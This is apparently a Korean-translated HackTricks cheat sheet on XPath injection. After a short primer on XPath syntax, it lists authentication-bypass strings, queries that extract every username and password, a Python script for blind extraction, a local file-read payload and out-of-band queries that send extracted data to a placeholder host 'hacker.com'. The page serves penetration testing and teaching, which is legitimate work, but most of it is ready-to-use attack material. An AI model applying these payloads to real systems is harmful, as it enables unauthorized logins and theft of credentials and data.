XPATH injection

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

다른 방법으로 HackTricks를 지원하는 방법:

경험 많은 해커 및 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰력 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용

실시간 해킹 뉴스 빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지 출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요

우리와 함께 Discord에 가입하여 오늘 최고의 해커들과 협업을 시작하세요!

기본 구문

XPath Injection이라고 알려진 공격 기술은 사용자 입력을 기반으로 XPath (XML Path Language) 쿼리를 형성하는 응용 프로그램을 악용하는 데 사용됩니다.

설명된 노드

XML 문서에서 다양한 노드를 선택하는 데 표현식이 사용됩니다. 이러한 표현식과 설명은 다음과 같습니다:

  • nodename: "nodename"이라는 이름의 모든 노드가 선택됩니다.

  • /: 루트 노드에서 선택됩니다.

  • //: 현재 노드에서 선택된 위치에 관계없이 일치하는 노드가 선택됩니다.

  • .: 현재 노드가 선택됩니다.

  • ..: 현재 노드의 부모가 선택됩니다.

  • @: 속성이 선택됩니다.

XPath 예제

경로 표현식과 결과의 예는 다음과 같습니다:

  • bookstore: "bookstore"라는 이름의 모든 노드가 선택됩니다.

  • /bookstore: 루트 요소 bookstore가 선택됩니다. 요소의 절대 경로는 슬래시 (/)로 시작하는 경로로 나타납니다.

  • bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.

  • //book: 문서의 모든 book 요소가 선택됩니다. 위치에 관계없이 선택됩니다.

  • bookstore//book: bookstore 요소의 후손인 모든 book 요소가 선택됩니다. 위치에 관계없이 선택됩니다.

  • //@lang: lang이라는 이름의 모든 속성이 선택됩니다.

술어 활용

선택을 세분화하는 데 술어가 사용됩니다:

  • /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. 첫 번째 노드를 [0]으로 색인화하는 IE 버전 5에서 9의 해결책은 JavaScript를 통해 SelectionLanguage를 XPath로 설정하는 것입니다.

  • /bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.

  • /bookstore/book[last()-1]: bookstore 요소의 끝에서 두 번째 book 요소 자식이 선택됩니다.

  • /bookstore/book[position()<3]: bookstore 요소의 처음 두 book 요소 자식이 선택됩니다.

  • //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.

  • //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.

  • /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.

  • /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.

알 수 없는 노드 처리

와일드카드는 알 수 없는 노드와 일치시키는 데 사용됩니다:

  • *: 모든 요소 노드와 일치합니다.

  • @*: 모든 속성 노드와 일치합니다.

  • node(): 모든 종류의 모든 노드와 일치합니다.

추가 예시는 다음과 같습니다:

  • /bookstore/*: bookstore 요소의 모든 자식 요소 노드를 선택합니다.

  • //*: 문서의 모든 요소를 선택합니다.

  • //title[@*]: 어떤 종류의 속성이 하나 이상 있는 모든 title 요소를 선택합니다.

예제

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

정보에 액세스하기

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

스키마 식별 및 도용

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

인증 우회

쿼리 예시:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

사용자 및 암호에서 OR 우회 (두 값이 동일한 경우)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

널 인젝션 남용하기

Username: ' or 1]%00

사용자 이름 또는 비밀번호에 더블 OR 사용 (취약한 필드가 하나만 있는 경우 유효함)

중요: "그리고"가 먼저 수행되는 연산임을 주목하세요.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

문자열 추출

출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

블라인드 공격

값의 길이를 가져와 비교를 통해 추출:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

파이썬 예시

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

파일 읽기

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Exploitation

OOB Exploitation

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

자동 도구

참고 자료

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!

해킹 통찰 해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요

실시간 해킹 뉴스 실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요

최신 공지 최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요

**Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated